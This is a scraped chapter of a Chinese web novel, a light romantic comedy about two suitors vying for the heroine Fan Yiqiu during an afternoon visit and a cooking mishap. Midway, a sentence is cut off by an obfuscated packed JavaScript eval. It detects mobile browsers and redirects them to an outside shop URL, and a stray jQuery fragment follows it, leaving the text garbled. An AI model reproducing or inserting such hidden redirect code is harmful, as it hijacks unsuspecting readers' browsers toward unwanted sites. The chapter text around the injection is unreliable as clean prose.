文趣网 > 都市小说 > 我在古代办女学 > 43. 不枯
    白听云眉梢压下,追问:“她是受伤了吗?”

    孙尚儿摇头。

    旁边的李贵女知晓他是想错了,解释:“没有,是昨日她跟着阮夫子学武功,累的。”

    听此回答白听云总算松了一口气,他站直身子,然后一眼就看见从屋里出来的人。

    继而莞尔,温声而唤:“樊姑娘。”

    樊意秋已经看见他,回以礼貌的笑容:“白公子来了。”

    白听云微笑颔首:“来了。”而两人腰间的玉佩也在此时悄无声息的隔空相映。

    只是二人都没发现。

    话落,他又问:“听说姑娘最近在学武。”

    樊意秋点头:“没错。”

    白听云眉梢微微挑起,目光落在她身上,带着几分探究:“姑娘怎么突然想学武了?”

    樊意秋抬手理了理衣袖,神色坦然:“强身健体,而且有武艺傍身也是好的。”

    白听云点头:“姑娘说得对。”

    “我那里有些武师是不错的,要不要让他们过来指点一二。”

    “这些人知道总归是好的。”

    樊意秋却摆手拒绝:“不必了,我那夫子的武功不低,是个厉害的。有他一人绰绰有余。”

    听樊意秋一言,白听云只好作罢。

    随后就跟着樊意秋进入屋中。

    另一边,王大娘揣着东西和心思逃跑。甚至还特意避开了芳菲堂,就是怕与祝方书见面。

    她一边揣着心思,一边回去,想着只能去找些其他姑娘来牵线了。

    可就是这样,还是让她碰见。王大娘实在想不明白,恐怕这就是上天有意安排。

    不须张望,祝方书就瞧见匆匆忙忙的人。上前招呼,其实还带点不好意思,想着王大娘此去回来会带来些什么。

    王大娘本想假装没有看见,奈何人都到了跟前,只好硬着头皮笑:“方书啊。”

    祝方书心里有事,又不敢问,一时间竟有些扭捏,先客气起来了。

    “大娘,你要回去了。”

    王大娘眼神飘忽,不敢看他,连回答都不自觉僵硬:“啊,是啊。”

    祝方书终于察觉到王大娘的异常,心中升起不安,纵使是再不好意思问也问出口了:“大娘,樊姑娘那边——”

    “方书啊,”王大娘欲言又止,沉吟一会儿道,“有些事大娘实在没办法,大娘先走了啊。”

    当然还不忘安慰:“不过你也别难过,哪里都是花,你也别非要高枝啊,对不对?”

    可是说完王大娘就后悔,她这哪里是安慰,分明是戳……戳人心窝子。

    于是打了下嘴:“好了好了,人还是要看开一点,早晚会找到良配的。”

    “那位姑娘,你还是别想为好。”

    说完之后,根本就不容祝方书反应就脚步飞快的逃走。

    她走远时,祝方书还杵在原地。脸色从正常而一寸一寸的惨白。像被人从头浇了一盆冰水,连指尖都在发颤。

    “高枝……”他喃喃重复着这两个字,心里似有不解。

    也的确没错了,樊意秋与他而言就是高不可攀的高枝。自己于她而言就像是野里面的草,不仅随风倒,还要求得她的庇护。

    按理来说自己却是不该娶她,她娶自己才是。

    这一点祝方书不甚在意,在他看来是她就可以。

    不过今日他也知道一定不会成功,毕竟樊意秋说了自己现在无意婚嫁。

    只是他不明白,为何王大娘今日反应如此奇怪。是樊意秋拒绝的过分了,他想是不会的。

    樊意秋向来客气,更何况王大娘她也是认识的,更不会出言过分。

    而且,今日王大娘话里话外都在让他远离樊意秋。可是樊意秋昨日还同他说可以试一试呢。

    怎么可能今日就反悔。

    他觉得这中间定有猫腻。

    这么一想,祝方书脸色缓和许多。

    祝方书深吸一口气,将那股寒意逼退。他站直身子,目光落在王大娘消失的方向,眉头微微蹙起。

    最后抬起步子,朝樊意秋的院子走去。

    门是开的,他刚走到门口,就听到屋里的动静,于是脚步一顿。

    是白听云的声音。

    “樊姑娘,现在可有想过嫁人?”

    站在外面的祝方书眉头紧蹙,霎时间有一个猜想在祝方书的脑子里升起来。

    他走近,顺带着也听到樊意秋的回答:“白公子问这做什么?”看样子樊意秋是不打算回答的。

    “在下就想问一问,看姑娘年纪应该不小,也该婚配了。”

    “这事不劳白公子操心。”樊意秋的语气听着显然没有之前的平静,应当是带了点火气的。

    说实话,樊意秋其实挺烦别人管她结不结婚的事。

    “那姑娘可有心悦之人?”

    这时,祝方书站不住了,想知道又不想知道。

    想知道是想知道到底是谁,不想知道是怕那个人不是自己。

    “白公子,你……为什么要知道?”樊意秋还算是客气。

    白听云却有点忍不住:“樊姑娘,其实在下心——”

    “意秋姑娘!我来了!”祝方书知道白听云要说什么,立马出声打断。

    白听云的声音断在喉咙里。

    樊意秋也起身,出去迎人。不仅如此,在一旁吃东西的两个孩子也一同起身出去,就连小黄狗也随着主人跟上去。

    白听云身边骤然冷清,他心中不爽。他搓捻着手指,静看同他一样寂寞的茶水,忽然端起来一饮而尽。

    没过一会儿,祝方书在簇拥之下进来。见到白听云的时候还故作惊讶,实则心中暗爽。

    “白公子,怎么来了?”

    白听云本不打算理会,但看着樊意秋的面子上还是回话,不过呛味十足。

    “怎么,就你能来,我不行?”

    祝方书听着不舒服,然而他没选择计较,而是装起可怜。

    他故意对着樊意秋垂眸敛目,挤出几分郁色和可怜样。

    樊意秋把一切看得清清楚楚,原本不想管的,如今也蹙眉道:“白公子说的哪里话,祝公子不过就是问上一问。”她话里面客气但已经有了极淡的愠。

    白听云怎么会听不出来,意识到自己刚才没控制住情绪。没办法,谁让眼前之人那么不要脸,怎么快就找媒人说媒。

    简直是可恶至极!

    都坐下后三人倒是没有什么可聊的了,也不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709829|206010||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    知道是因为什么,就是说不出来任何一个让人有欲望接下去的话题。

    也是奇怪,这个时候两个男人倒是不去争了,说出来也是难得。

    不是喝茶就是逗狗。就这样二人还无聊了一下午都没走。看得出来是很想留在樊意秋这里。

    可是樊意秋实在搞不懂这里到底有什么好的,值得两个人一下午无所事事也要留在这。

    到了傍晚就更热闹。

    两个男人终于来活。

    樊意秋穿到大燕起,晚饭吃的都早,这个点她也该做饭。

    只是万万没想到,做饭这件事他们两个人也会抢起来。

    樊意秋先去了厨房,祝方书紧随其后,而白听云在看见祝方书跟过去之后也跟上。

    樊意秋进了厨房,挽起袖子,从缸里舀水洗手。祝方书紧随其后,站在她身侧,温声道:“姑娘,我来帮你生火。”

    白听云慢了一步,看见祝方书已经占了灶前的位置,眉心微蹙。他环顾四周,最后把目光落在菜上面:“我来帮姑娘洗菜。”

    说完,两个人就各干各,哪怕樊意秋出声阻止也当听不到。

    樊意秋拿他们两个真没办法了,最后只能由着他们来。反正大热天的做饭也怪热的,有两个乐意帮忙的也无所谓。

    还能轻松轻松。

    祝方书是个会做饭,原本是帮樊意秋打下手的,现在到成了樊意秋打下手。

    白听云则手忙脚乱,他从没进过厨房,又怎么懂得烧饭洗菜。一顿操作下来菜都洗烂要么就是不干净。

    没办法,只能樊意秋出马。

    菜洗好了,她要切菜。

    哪知,白听云还不死心,硬是要帮忙。

    行,帮忙就帮忙吧,不能辜负了别人的一片好心。于是樊意秋就让他把菜切丝。自己则去祝方书那里看看有没有能帮得上的。

    结果就是,菜被切得七零八乱,不仅如此,白听云还非常有本事的把自己的手给切到了。

    “血!”白听云捏住自己的手指,不敢看。

    另一边两个人听到如此突兀的字眼,瞬间放下手中的东西,再看一下他周围的场景,紧忙跑过来瞧一瞧他的情况。

    还好,伤口不大。

    再慢一点也许就能愈合了。

    然后,祝方书就被迫帮成事不足败事有余的人包扎起伤口。樊意秋一人在里边忙活。

    包扎完伤口,白听云就被明令禁止进入厨房。如此他也只能和两个孩子一起待着。

    李贵女和孙尚儿玩够了,如今在温习功课。白听云也算饱读诗书,在一旁进行辅导。

    一段时间之后,晚饭好了。一群人坐好,孙尚儿看着有一盘菜切得跟猪菜一样不禁开口。

    “这……是怎么回事?”

    白听云看见,有点不好意思,最后带头笑笑而过。

    吃完晚饭,白听云已经不能再留。在祝方书看来这个碍事的人总算离开。

    樊意秋把人送到门口,等人走远,祝方书终于问出藏在心里许久的话:“今日除了白听云以外,还有别人来吗?”

    樊意秋疑惑,老实回答:“没有啊,怎么了吗,有人来吗?”

    祝方书假笑:“我就问问,没别的意思。”